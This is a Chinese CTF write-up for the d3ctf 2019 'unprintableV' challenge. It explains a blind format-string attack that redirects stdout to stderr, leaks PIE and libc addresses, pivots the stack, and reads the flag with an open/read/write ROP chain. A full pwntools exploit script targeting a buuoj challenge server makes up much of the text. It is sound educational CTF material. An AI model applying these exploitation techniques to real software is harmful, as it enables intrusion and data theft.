这个题跟着exp作了好久,好久,值得纪念
先看保护
buuctf/378_d3ctf_2019_unprintablev$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
buuctf/378_d3ctf_2019_unprintablev$ checksec pwn
[*] '/home/shi/buuctf/378_d3ctf_2019_unprintablev/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
从名字上看是formatstr的问题,保护除了canary全开(这个也可以关,printf写也用不着连续),并且关掉了execve,也就是得用ORW,把flag读出来再写出来,不能get shell
再看程序,程序也很简单 main->menu->vuln->printf,输入d^3CTF退出循环,可恶之处是关掉了stdout,需要将stdout改为stderr,改的这段得盲敲
void __cdecl menu()
{
char *a; // [rsp+8h] [rbp-8h] BYREF
a = buf;
puts("welcome to d^3CTF!");
printf("here is my gift: %p\n", &a);
puts("may you enjoy my printf test!");
close(1);
while ( strncmp(buf, "d^3CTF", 6uLL) && time )
vuln();
}
void __cdecl vuln()
{
read(0, buf, 0x12CuLL);
printf(buf);
--time;
}
另外,读入数据写到buf上,buf不在栈上,这就要用rbp链
0000| 0x7fffffffdf80 --> 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60 #6
0008| 0x7fffffffdf88 --> 0x555555554afb (<menu+89>: mov edx,0x6)
0016| 0x7fffffffdf90 --> 0x7fff000000000006
0024| 0x7fffffffdf98 --> 0x555555756060 ("AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p\n") #leak
0032| 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60 (<__libc_csu_init>) #10
0040| 0x7fffffffdfa8 --> 0x555555554b51 (<main+45>: mov eax,0x0)
0048| 0x7fffffffdfb0 --> 0x7fffffffe0a8 --> 0x7fffffffe3bc (".../pwn")
0056| 0x7fffffffdfb8 --> 0x100000000
0064| 0x7fffffffdfc0 --> 0x555555554b60 (<__libc_csu_init>: push r15)
0072| 0x7fffffffdfc8 --> 0x7ffff7a3fa87 (<__libc_start_main+231>: mov edi,eax)
程序一开始以礼物的形式给了栈地址:...df98这个位置,也就是buf指针
rbp链就是 df80->dfa0->dfc0->55....60 偏移对应的是6->10-> 只需要用6修改10就可以写栈里大部分位置,因为栈都很短(连canary都没有)
由于限制使用execve用ORW的话rop会很长,程序里限制了vuln的使用次数64,所以这里要作个移栈,把栈移到buf这,把payload写到这里
步骤:
- 收礼物 得到buf的栈地址
- 通过偏移6修改10让它指向buf(9)
- 通过10修改9,原来它是buf指针指向bss里buf,修改2字节指向stdout,?XXX
- 通过9修改stdout两字节让他变更stderr这样就能输出信息了,由于有1位未知需要爆破
- 发个标记验证一下是否修改成功,不成功raise个例外重来
- 泄露偏移11的main_ret和15的libc_start_main_ret 得到加载地址和libc
- 修改rbp,libc_start_main_ret为 &buf和leave_ret
- 修复原来被改动的偏移10的rbp,让他指回原来的位置
- 在buf写入rop,写入d^3CTF退出
完整的exp
from pwn import *
'''
patchelf --set-interpreter /pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
local = 0
if local == 1:
libc_elf = ELF('/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xe31ee]
offset = 0x3b12a0 #__libc_IO_vtables:00000000003B12A0 _IO_file_jumps
else:
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5, 0x4f322, 0x10a38c]
offset = 0x3e82a0 #__libc_IO_vtables:00000000003E82A0 _IO_file_jumps
def connect():
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27162)
return p
context(arch='amd64') #, log_level='debug'
bss_stdout = elf.sym['stdout'] #0x202040
main_addr = elf.sym['main']
buf_addr_s = elf.sym['buf']
_IO_2_1_stderr_ = libc_elf.sym['_IO_2_1_stderr_']
libc_start_main = libc_elf.sym['__libc_start_main']
open_addr_s = libc_elf.sym['open']
read_addr_s = libc_elf.sym['read']
write_addr_s= libc_elf.sym['write']
pop_rdi_s = 0x0000000000000bc3 # pop rdi ; ret
pop_rsi_s = 0x0000000000000bc1 # pop rsi ; pop r15 ; ret
leave_ret_s = 0x0000000000000b56 # leave ; ret
pop_rdx_s = next(libc_elf.search(asm('pop rdx;ret'))) #libc
'''
0000| 0x7fffffffdf80 --> 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60 #6
0008| 0x7fffffffdf88 --> 0x555555554afb (<menu+89>: mov edx,0x6)
0016| 0x7fffffffdf90 --> 0x7fff000000000006
0024| 0x7fffffffdf98 --> 0x555555756060 ("AAAAAAAA-%p-%p-%p-%p-%p-%p-%p\n") #leak
0032| 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60 #10
0040| 0x7fffffffdfa8 --> 0x555555554b51 (<main+45>: mov eax,0x0)
0048| 0x7fffffffdfb0 --> 0x7fffffffe0a8 --> 0x7fffffffe3bc ("pwn")
0056| 0x7fffffffdfb8 --> 0x100000000
0064| 0x7fffffffdfc0 --> 0x555555554b60 (<__libc_csu_init>: push r15)
0072| 0x7fffffffdfc8 --> 0x7ffff7a3fa87 (<__libc_start_main+231>: mov edi,eax)
0x555555756020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd3760 0x0000000000000000
0x555555756030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd2a00 0x0000000000000000
0x555555756040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd3680 0x0000000000000000
df80->dfa0->df98->0x555555756020 ?760-> 0680
'''
def write_i(stack,index,addr):
i = 0
while addr > 0:
payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhn TAG'
p.sendline(payload.encode())
p.recvuntil(b'TAG')
data = addr & 0xFF
payload = '%' + str(data) + 'c%10$hhn TAG'
p.sendline(payload.encode())
p.recvuntil(b'TAG')
addr = addr >> 8
i+=1
def crack():
#获得buf指针的地址
p.recvuntil(b'here is my gift: ')
stack = int(p.recvline()[:-1],16)
print ('stack:', hex(stack))
#6->10 10->9 9->bss_buf:bss_stdout
p.recvuntil(b'may you enjoy my printf test!\n')
payload = '%' + str(stack & 0xFF) + 'c%6$hhn'
p.sendline(payload.encode().ljust(0x12C-1, b'\x00'))
sleep(0.2)
payload = '%' + str(bss_stdout & 0xFF) + 'c%10$hhn'
p.sendline(payload.encode().ljust(0x12C-1, b'\x00'))
sleep(0.2)
#gdb.attach(p)
#h = int(input('h='), 16)
h=0
payload = '%' + str((_IO_2_1_stderr_ & 0xFFF) + h*0x1000) + 'c%9$hn' #?XXX
p.sendline(payload.encode().ljust(0x12C-1, b'\x00'))
sleep(0.2)
p.sendline(b'aaaaaaa'.ljust(0x12C-1, b'\x00'))
x = p.recvuntil(b'aa',timeout=0.5)
if b'aa' not in x:
print('XXXXXX')
raise Exception('retry')
print('output open!')
#泄露main+0x2D的地址
payload = 'TAG%11$p,%15$pTAG'
p.sendline(payload.encode())
p.recvuntil(b'TAG')
pwn_base = int(p.recvuntil(b',', drop=True),16) - 0x2D - main_addr
pop_rsi = pop_rsi_s + pwn_base
pop_rdi = pop_rdi_s + pwn_base
buf_addr = buf_addr_s + pwn_base
leave_ret = leave_ret_s + pwn_base
print(hex(pwn_base), hex(pop_rdi), hex(pop_rsi), hex(buf_addr), hex(leave_ret))
#泄露__libc_start_main+E7的地址
libc_base = int(p.recvuntil(b'TAG',drop=True),16) - 0xE7 - libc_start_main
open_addr = libc_base + open_addr_s
read_addr = libc_base + read_addr_s
write_addr = libc_base + write_addr_s
pop_rdx = libc_base + pop_rdx_s
print(hex(libc_base), hex(open_addr), hex(read_addr), hex(write_addr), hex(pop_rdx))
#修改main的rbp,做栈迁移
print('change rbp->buf')
write_i(stack,5,buf_addr+8)
#这次,我们写main的返回地址,也就是main ebp后面那个空间
print('change return->leave_ret')
write_i(stack,6,leave_ret) #leave_ret
#复原menu的rbp
print('write back menu rbp->stack+x28')
payload = '%' + str((stack + 0x28) & 0xFF) + 'c%6$hhn TAG'
p.sendline(payload.encode())
p.recvuntil(b'TAG')
#当退出main时,栈会转移到buf里去,pop_rdi+1是ret限止没命中,向前滑一下
rop = b'A'*8 + flat(pop_rdi+1, pop_rdi+1, pop_rsi,0,0,pop_rdi, buf_addr+0xc8, open_addr) #Open
rop += flat(pop_rdx, 0x30, pop_rsi, buf_addr+0x100,0,pop_rdi, 1, read_addr) #Read
rop += flat(pop_rdx, 0x30, pop_rsi, buf_addr+0x100,0,pop_rdi, 2, write_addr) #Write
rop = rop.ljust(0xC8, b'\x00')
#存入flag字符串
rop += b'flag\x00'
#rop = rop.ljust(0x12C-1, b'\x00')
p.sendline(rop)
payload = b'd^3CTF\x00'
p.sendline(payload)
p.interactive()
while True:
try:
p = connect()
crack()
except KeyboardInterrupt as e:
exit()
except:
p.close()
print ('retrying...')
#break
几个注意的小点:
- interactive本身是没用的,因为得不到shell但是可以让程序停下来
- stdout关闭后,再打开文件的描述符是1(用stdout关闭的空闲号,原来都用3)
- 在没有输出里用sleep作间隔,防止由于输入没完成(两字节的时候)后续写错
- 测试开没开输出时raise报个错让try得到可以重来(程序本身没有崩)